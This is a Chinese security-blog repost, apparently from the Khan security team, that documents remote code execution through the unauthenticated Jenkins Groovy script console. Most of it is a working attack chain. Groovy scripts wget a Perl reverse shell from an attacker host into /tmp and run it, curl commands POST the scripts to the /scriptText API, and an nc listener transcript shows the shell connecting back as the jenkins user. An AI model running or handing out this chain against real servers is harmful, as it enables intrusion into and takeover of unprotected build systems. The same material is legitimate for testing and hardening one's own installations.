Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Jenkins RCE 通过未经身份验证的 API

Jenkins RCE 通过未经身份验证的 API

作者头像
Khan安全团队
发布于 2021-07-08 03:39:38
发布于 2021-07-08 03:39:38
1.1K00
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

Jenkins(连续集成服务器)默认安装允许未经身份验证访问 Jenkins 主服务器上的 API(默认行为)。允许未经身份验证访问 groovy 脚本控制台,允许攻击者执行 shell 命令和/或连接回反向 shell。

Jenkins

版本 1.626

Jenkins

版本 1.638

经测试的操作系统

努力测试所有受影响的操作系统,显示默认操作系统打包版本的漏洞利用(例如 jenkins shell)的严重性。

操作系统

默认包展示

CentOS 6 - Jenkins RPM via Jenkins YUM Repo

shell 作为用户 jenkins

制作了一些小的 groovy 脚本来通过 Jenkins API 执行我想要的 shell 命令(我记得有一些问题通过 groovy 一次运行多个命令),然后我使用 Curl 执行它们。

groovy 脚本 wget shell

脚本将 wget perl 反向 shell 定位到目标并将其复制到 /tmp/shell

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def command = "wget http://192.168.145.128/perl-reverse-shell.pl -O /tmp/shell"
   def proc = command.execute()
   proc.waitFor()
   println "Process exit code: ${proc.exitValue()}"
   println "Std Err: ${proc.err.text}"
   println "Std Out: ${proc.in.text}"

默认情况下,Jenkins 需要/tmp设置执行挂载选项,因此您应该可以安全地将 shell 放置在 Jenkins 服务器上。

groovy 脚本执行 shell 命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    def command = "perl /tmp/shell"
    def proc = command.execute()
    proc.waitFor()              

    println "Process exit code: ${proc.exitValue()}"
    println "Std Err: ${proc.err.text}"
    println "Std Out: ${proc.in.text}"
代码语言:javascript
代码运行次数:0
运行
复制

通过 scriptText Jenkins API 执行 Groovy 脚本

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
curl -d "script=$(<./wget.groovy)" -X POST http://192.168.30.130:8080/scriptText
curl --data-urlencode  "script=$(<./execute.groovy)" -X POST http://192.168.30.130:8080/scriptText
代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[root:~/pwn-jenkins]# nc -v -n -l -p 443
    listening on [any] 443 ...
    connect to [192.168.30.128] from (UNKNOWN) [192.168.30.130] 42340
     21:16:17 up 15:17,  1 user,  load average: 0.23, 0.31, 0.17
     USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
     root     tty1     -                05:59    3:40   0.12s  0.12s -bash
     Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
     uid=498(jenkins) gid=499(jenkins) groups=499(jenkins) context=unconfined_u:system_r:unconfined_java_t:s0
     /
     apache: cannot set terminal process group (-1): Invalid argument
     apache: no job control in this shell
     apache-4.1$ whoami
     whoami     jenkins
     apache-4.1$ id
     id     uid=498(jenkins) gid=499(jenkins) groups=499(jenkins) context=unconfined_u:system_r:unconfined_java_t:s0
     apache-4.1$
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
2.Jenkins进阶之流水线pipeline语法入门学习
Q: 什么是 Groovy 语言 答: Groovy 是 Apache 旗下的一门基于 JVM 平台的动态/敏捷编程语言,在语言的设计上它吸纳了 Python、Ruby 和 Smalltalk 语言的优秀特性,语法非常简练和优美,开发效率也非常高(编程语言的开发效率和性能是相互矛盾的,越高级的编程语言性能越差,因为意味着更多底层的封装,不过开发效率会更高,需结合使用场景做取舍)
全栈工程师修炼指南
2022/09/29
17.9K0
2.Jenkins进阶之流水线pipeline语法入门学习
第三章·监控系统-zabbix深入应用监控
-多年互联网运维工作经验,曾负责过大规模集群架构自动化运维管理工作。 -擅长Web集群架构与自动化运维,曾负责国内某大型金融公司运维工作。 -devops项目经理兼DBA。 -开发过一套自动化运维平台(功能如下): 1)整合了各个公有云API,自主创建云主机。 2)ELK自动化收集日志功能。 3)Saltstack自动化运维统一配置管理工具。 4)Git、Jenkins自动化代码上线及自动化测试平台。 5)堡垒机,连接Linux、Windows平台及日志审计。 6)SQL执行及审批流程。 7)慢查询日志分析web界面。
DriverZeng
2022/09/26
1.2K0
第三章·监控系统-zabbix深入应用监控
linux下 ffmpeg-3.1安装及视频转码
这篇是几年前整理的老文章了,当时在调研流视频推送及播放相关技术,并在项目中应用,使用到ffmpeg,所以整理了这篇文章,但并未发布。最近又有相关的技术需求,所以整理出来,作为一个新的开始。
程序员架构进阶
2021/10/21
2.1K0
CVE-2020-28642 WP身份验证绕过和RCE
InfiniteWP是 "免费的自我托管,多个WordPress网站管理解决方案。它简化了你的WordPress任务,只需点击一个按钮"。
Khan安全团队
2021/01/11
1.7K0
CVE-2020-28642 WP身份验证绕过和RCE
7.Jenkins插件安装使用帮助说明
项目描述: Jenkins流水线步骤,提供SSH工具,如命令执行或文件传输,以实现持续交付。 项目地址: https://github.com/jenkinsci/ssh-steps-plugin
全栈工程师修炼指南
2022/09/29
2.1K0
7.Jenkins插件安装使用帮助说明
BalsnCTF2021
BalsnCTF2021 2021-12-20 10:12:00 ctf - wp -
HhhM
2022/08/10
2860
BalsnCTF2021
最全教程 | Kubernetes + Jenkins + Helm + Springboot 实践
为了方便集成 Maven、Kubernetes、配置文件等等,这里需要安装几个别的插件,这里插件可以在 系统管理—>插件管理—>可选插件 里面安装下面列出的插件。
我的小碗汤
2019/12/27
8.8K0
最全教程 | Kubernetes + Jenkins + Helm + Springboot 实践
Micro Focus Operations Bridge Manager中的多个(RCE)漏洞
OBM作为操作桥为您的IT操作提供了一个单一的控制中心。所有来自服务器、网络、应用程序、存储和基础设施中其他IT孤岛的事件和性能管理数据都会被整合到一个先进的中央事件控制台的单一事件流中。控制台将监控警报显示给相应的操作员团队。
Khan安全团队
2021/01/12
1.5K0
Micro Focus Operations Bridge Manager中的多个(RCE)漏洞
挖矿脚本学习
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/154404.html原文链接:https://javaforall.cn
全栈程序员站长
2022/09/07
9720
深入浅出自动化运维工具-----aniible
ansible特性 1.模块化设计,调用特定的模块来完成特定任务 2.基于python语言实现 3.其模块支持JSON、YAML等标准输出格式 4.支持playbook
不吃小白菜
2020/10/28
1.6K0
深入浅出自动化运维工具-----aniible
使用 Docker 全自动构建 Java 应用
我们会在 Docker 容器里运行 Jenkins,再使用 Jenkins 启动一个 Maven 容器,用来编译我们的代码,接着在另一个 Maven 容器中运行测试用例并生成制品(例如 jar 包),然后再在 Jenkins 容器中制作 Docker 镜像,最后将镜像推送到 Docker Hub。
LinuxSuRen
2019/12/23
1.5K0
使用 Docker 全自动构建 Java 应用
攻防|反弹shell方式汇总
注意有些反弹shell的方法或脚本只适用于Linux或者Windows,注意区分相关脚本的编写方式方法。
亿人安全
2024/04/19
1.2K0
攻防|反弹shell方式汇总
JAVA常见漏洞复现
Shiro550漏洞原理是Shiro框架提供了一种记住密码(Rememberme)的功能,用户登录成功后会生成经过加密的Cookie值,对Remembe的Cookie进行AES解密、Base64解密后再反序列化,就导致了反序列化RCE漏洞 。 Shiro<1.2.4版本,其使用的密钥为固定密钥Shiro550kPH+bIxk5D2deZiIxcaaaA==,这就更容易导致RCE漏洞
用户9691112
2023/05/18
1.7K0
JAVA常见漏洞复现
在RHEL系统上通过源码安装GITLAB
  Gitlab有著名的一键安装包,点一下脚本自动会帮你装ruby、Redis、Postgresql、Gitlab好方便,而且还会帮你解决Sidekiq无限消耗资源定期重启。有这么多优点为毛还要从源码安装Gitlab。1.CE版本无法使用Mysql库来存储用户数据 2.能了解他的工作机理和细节呗。
海哥@开发
2022/04/04
6690
使用 Jenkins Pipeline 流水线部署 Kubernetes 应用
要实现在 Jenkins 中的构建工作,可以有多种方式,我们这里采用比较常用的 Pipeline 这种方式。Pipeline,简单来说,就是一套运行在 Jenkins 上的工作流框架,将原来独立运行于单个或者多个节点的任务连接起来,实现单个任务难以完成的复杂流程编排和可视化的工作。
我是阳明
2021/06/25
5.3K0
使用 Jenkins Pipeline 流水线部署 Kubernetes 应用
Elasticsearch入门实践
官网:https://www.elastic.co/ 下载:https://www.elastic.co/downloads/elasticsearch 文档:https://www.elastic.co/guide/index.html
编程随笔
2019/09/11
1.6K0
Elasticsearch入门实践
1.Jenkins入门基础介绍与持续化集成部署
Tips :个人理解 Jenkins 是一个调度平台,本身不需要处理任何事情,而是通过众多的插件来完成所有的工作;
全栈工程师修炼指南
2022/09/29
6.3K0
1.Jenkins入门基础介绍与持续化集成部署
HackTheBox - Canape Writeup
原文: https://www.absolomb.com/2018-09-15-HackTheBox-Canape/
安恒网络空间安全讲武堂
2018/12/11
1.4K0
Linux命令行的艺术
熟练使用命令行是一种常常被忽视或被认为难以掌握的技能,但实际上,它可以提高你作为工程师的灵活性以及生产力。本文是一份我在 Linux 上工作时发现的一些关于命令行的使用的小技巧的摘要。有些小技巧是非常基础的,而另外一些则是相当复杂的甚至晦涩难懂的。这篇文章并不长,但当你能够熟练掌握这里列出的所有技巧时,你就学会了很多关于命令行的东西了。 必读 涵盖范围: * 这篇文章对刚接触命令行的新手以及具有命令行使用经验的人都有用处。本文致力于做到覆盖面广(尽量包括一切重要的内容),具体(给出最常见的具体的例子)以及简
小小科
2018/05/03
7K0
通过jenkins交付微服务到kubernetes
随着Kubernetes的遍地开花,Kubernetes的优势可以说是深入人心,很多企业也是利用Kubernetes,来实现更高效的交付和更好地提高我们的资源使用率,推动标准化,适应云原生。
星哥玩云
2022/08/08
2K0
通过jenkins交付微服务到kubernetes
相关推荐
2.Jenkins进阶之流水线pipeline语法入门学习
更多 >
领券
💥开发者 MCP广场重磅上线!
精选全网热门MCP server,让你的AI更好用 🚀
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验